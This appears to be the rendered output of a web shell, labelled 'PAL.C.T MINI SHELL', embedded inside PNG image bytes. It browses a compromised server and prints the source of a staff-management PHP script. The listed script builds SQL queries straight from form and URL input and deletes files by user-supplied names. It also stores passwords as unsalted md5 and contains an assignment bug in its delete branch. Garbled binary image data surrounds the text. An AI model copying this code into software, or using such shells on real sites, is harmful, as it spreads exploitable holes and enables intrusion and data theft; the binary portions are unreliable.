php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/fl/konfig/
upload
files >> /var/www/html/fl/konfig/aksi_staff.php

<?php
session_start();
error_reporting(0);
 if (empty($_SESSION['namauser']) AND empty($_SESSION['passuser'])){
  header('location:../../lockscreen.php');
}
else{
include "../../konfig/koneksi.php";
include "../../konfig/fungsi_thumb.php";
include "../../konfig/library.php";

$module=$_GET['module'];
$act=$_GET['act'];

// Input user
if ($module=='staff' AND $act=='input'){
	
	$acak2			 = rand(1,99);
	$lokasi_file2    = $_FILES['fupload2']['tmp_name'];
	$tipe_file2      = $_FILES['fupload2']['type'];
	$nama_file2      = $_FILES['fupload2']['name'];
	$nama_file_unik2 = $acak2.$nama_file2;
	
	
	if ($_FILES["fupload2"]["error"] > 0 OR empty($lokasi_file2)){
		$nama_file_unik2 = "";
	}
	else{
		UploadStaff($nama_file_unik2);
	}

	$password = md5($_POST['password']);

	if(isset($_POST['toko'])){
		$toko = 1;
	}
	else{
		$toko = 0;
	}
	
	if(isset($_POST['end_user'])){
		$end_user = 1;
	}
	else{
		$end_user = 0;
	}
	mysql_query("INSERT INTO staff (toko, end_user, nama_staff, phone_staff, alamat_staff, no_ktp, foto_ktp, username, password, catatan_staff, posisi, id_agama, suku) VALUES ('$toko', '$end_user', '$_POST[nama_staff]', '$_POST[phone_staff]', '$_POST[alamat_staff]', '$_POST[no_ktp]', '$nama_file_unik2', '$_POST[username]', '$password', '$_POST[catatan_staff]', '$_POST[posisi]', '$_POST[id_agama]', '$_POST[suku]')");
	
	header('location:staff');

}

elseif ($module=='staff' AND $act=='update'){
	
	
	$acak2			 = rand(1,99);
	$lokasi_file2    = $_FILES['fupload2']['tmp_name'];
	$tipe_file2      = $_FILES['fupload2']['type'];
	$nama_file2      = $_FILES['fupload2']['name'];
	$nama_file_unik2 = $acak2.$nama_file2;
		
	
	if ($_FILES["fupload2"]["error"] > 0 OR empty($lokasi_file2)){
		$nama_file_unik2 = "$_POST[foto_ktp]";
	}
	else{
		UploadStaff($nama_file_unik2);
		unlink("../../images/img_staff/$_POST[foto_ktp]"); 
	}
	

	if(isset($_POST['toko'])){
		$toko = 1;
	}
	else{
		$toko = 0;
	}
	
	if(isset($_POST['end_user'])){
		$end_user = 1;
	}
	else{
		$end_user = 0;
	}
	
	if($_POST['password']!=''){
		$password = md5($_POST['password']);
		mysql_query("UPDATE staff SET toko='$toko', end_user='$end_user', phone_staff='$_POST[phone_staff]', alamat_staff='$_POST[alamat_staff]', no_ktp='$_POST[no_ktp]', foto_ktp='$nama_file_unik2', password='$password', catatan_staff='$_POST[catatan_staff]', posisi='$_POST[posisi]', id_agama='$_POST[id_agama]', suku='$_POST[suku]' WHERE id_staff='$_POST[id_staff]'");
	}
	else{
		mysql_query("UPDATE staff SET  toko='$toko', end_user='$end_user', phone_staff='$_POST[phone_staff]', alamat_staff='$_POST[alamat_staff]', no_ktp='$_POST[no_ktp]', foto_ktp='$nama_file_unik2', catatan_staff='$_POST[catatan_staff]', posisi='$_POST[posisi]', id_agama='$_POST[id_agama]', suku='$_POST[suku]' WHERE id_staff='$_POST[id_staff]'");
	}
		header('location:staff');
}

elseif($module=='staff' AND $act='delete'){
	$d=mysql_fetch_array(mysql_query("SELECT * FROM staff WHERE id_staff='$_GET[id_staff]'"));
	unlink("../../images/img_staff/$d[foto_ktp]"); 
	
	mysql_query("DELETE FROM staff WHERE id_staff='$_GET[id_staff]'");

	header('location:staff');	
}
}	
?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`